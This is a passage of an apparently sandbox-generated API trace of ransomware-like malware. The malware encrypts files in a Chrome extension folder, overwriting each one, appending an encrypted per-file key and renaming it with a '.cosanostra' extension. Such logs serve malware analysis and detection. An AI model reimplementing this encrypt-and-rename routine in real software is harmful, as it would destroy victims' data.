dwLen=0x20, pbBuffer=0x251eed0 | out: pbBuffer=0x251eed0) returned 1 [0106.776] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eec8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eec8*=0x30) returned 1 [0106.776] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0106.780] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json") returned 163 [0106.780] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0106.791] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffd65, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.791] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x29b, lpNumberOfBytesWritten=0x251ee8c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251ee8c*=0x29b, lpOverlapped=0x0) returned 1 [0106.791] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.792] WriteFile (in: hFile=0x160, lpBuffer=0x251eecc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ee8c, lpOverlapped=0x0 | out: lpBuffer=0x251eecc*, lpNumberOfBytesWritten=0x251ee8c*=0x4, lpOverlapped=0x0) returned 1 [0106.792] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ee8c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ee8c*=0x30, lpOverlapped=0x0) returned 1 [0106.792] CloseHandle (hObject=0x160) returned 1 [0106.792] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json.cosanostra") returned 174 [0106.792] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json.cosanostra")) returned 1 [0106.796] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eec8 | out: pbBuffer=0x251eec8) returned 1 [0106.796] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eec0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eec0*=0x30) returned 1 [0106.796] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0106.797] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json") returned 159 [0106.797] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0106.916] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffc95, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.917] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x36b, lpNumberOfBytesWritten=0x251ee84, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251ee84*=0x36b, lpOverlapped=0x0) returned 1 [0106.917] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.918] WriteFile (in: hFile=0x160, lpBuffer=0x251eec4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ee84, lpOverlapped=0x0 | out: lpBuffer=0x251eec4*, lpNumberOfBytesWritten=0x251ee84*=0x4, lpOverlapped=0x0) returned 1 [0106.918] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ee84, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ee84*=0x30, lpOverlapped=0x0) returned 1 [0106.918] CloseHandle (hObject=0x160) returned 1 [0106.918] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json.cosanostra") returned 170 [0106.919] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json.cosanostra")) returned 1 [0106.921] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eec8 | out: pbBuffer=0x251eec8) returned 1 [0106.921] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eec0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eec0*=0x30) returned 1 [0106.921] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0106.988] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png") returned 173 [0106.988] StrStrW (lpFirst="topbar_floating_button_close.png", lpSrch=".txt") returned 0x0 [0106.989] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff04, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.989] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x251ee84, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251ee84*=0xfc, lpOverlapped=0x0) returned 1 [0106.989] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.989] WriteFile (in: hFile=0x180, lpBuffer=0x251eec4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ee84, lpOverlapped=0x0 | out: lpBuffer=0x251eec4*, lpNumberOfBytesWritten=0x251ee84*=0x4, lpOverlapped=0x0) returned 1 [0106.990] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ee84, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ee84*=0x30, lpOverlapped=0x0) returned 1 [0106.990] CloseHandle (hObject=0x180) returned 1 [0106.990] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.cosanostra") returned 184 [0106.990] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.cosanostra")) returned 1 [0106.991] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eec0 | out: pbBuffer=0x251eec0) returned 1 [0106.991] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eeb8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eeb8*=0x30) returned 1 [0106.991] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0106.993] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png") returned 153 [0106.995] StrStrW (lpFirst="icon_128.png", lpSrch=".txt") returned 0x0 [0107.114] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffeef7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0107.242] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x1109, lpNumberOfBytesWritten=0x251ee7c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251ee7c*=0x1109, lpOverlapped=0x0) returned 1 [0107.261] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.262] WriteFile (in: hFile=0x180, lpBuffer=0x251eebc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ee7c, lpOverlapped=0x0 | out: lpBuffer=0x251eebc*, lpNumberOfBytesWritten=0x251ee7c*=0x4, lpOverlapped=0x0) returned 1 [0107.280] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ee7c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ee7c*=0x30, lpOverlapped=0x0) returned 1 [0107.280] CloseHandle (hObject=0x180) returned 1 [0107.435] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.cosanostra") returned 164 [0107.435] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.cosanostra")) returned 1 [0107.437] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eec0 | out: pbBuffer=0x251eec0) returned 1 [0107.437] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eeb8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eeb8*=0x30) returned 1 [0107.437] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0107.437] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif") returned 152 [0107.438] StrStrW (lpFirst="flapper.gif", lpSrch=".txt") returned 0x0 [0107.440] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0107.440] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ee7c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251ee7c*=0x2800, lpOverlapped=0x0) returned 1 [0107.440] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.440] WriteFile (in: hFile=0x180, lpBuffer=0x251eebc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ee7c, lpOverlapped=0x0 | out: lpBuffer=0x251eebc*, lpNumberOfBytesWritten=0x251ee7c*=0x4, lpOverlapped=0x0) returned 1 [0107.440] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ee7c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ee7c*=0x30, lpOverlapped=0x0) returned 1 [0107.440] CloseHandle (hObject=0x180) returned 1 [0107.440] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif.cosanostra") returned 163 [0107.440] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif.cosanostra")) returned 1 [0107.443] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eeb8 | out: pbBuffer=0x251eeb8) returned 1 [0107.443] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eeb0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eeb0*=0x30) returned 1 [0107.443] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0107.444] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css") returned 153 [0107.444] StrStrW (lpFirst="craw_window.css", lpSrch=".txt") returned 0x0 [0107.445] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffff933, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0107.445] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x6cd, lpNumberOfBytesWritten=0x251ee74, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251ee74*=0x6cd, lpOverlapped=0x0) returned 1 [0107.446] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.446] WriteFile (in: hFile=0x180, lpBuffer=0x251eeb4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ee74, lpOverlapped=0x0 | out: lpBuffer=0x251eeb4*, lpNumberOfBytesWritten=0x251ee74*=0x4, lpOverlapped=0x0) returned 1 [0107.446] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ee74, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ee74*=0x30, lpOverlapped=0x0) returned 1 [0107.446] CloseHandle (hObject=0x180) returned 1 [0107.446] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css.cosanostra") returned 164 [0107.446] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css.cosanostra")) returned 1 [0107.447] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eeb0 | out: pbBuffer=0x251eeb0) returned 1 [0107.447] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eea8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eea8*=0x30) returned 1 [0107.447] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0107.448] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js") returned 148 [0107.448] StrStrW (lpFirst="craw_window.js", lpSrch=".txt") returned 0x0 [0107.457] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0107.457] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ee6c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251ee6c*=0x2800, lpOverlapped=0x0) returned 1 [0107.458] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.458] WriteFile (in: hFile=0x180, lpBuffer=0x251eeac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ee6c, lpOverlapped=0x0 | out: lpBuffer=0x251eeac*, lpNumberOfBytesWritten=0x251ee6c*=0x4, lpOverlapped=0x0) returned 1 [0107.458] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ee6c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ee6c*=0x30, lpOverlapped=0x0) returned 1 [0107.459] CloseHandle (hObject=0x180) returned 1 [0107.471] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js.cosanostra") returned 159 [0107.471] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js.cosanostra")) returned 1 [0107.473] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eeb0 | out: pbBuffer=0x251eeb0) returned 1 [0107.473] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eea8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eea8*=0x30) returned 1 [0107.473] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0107.473] 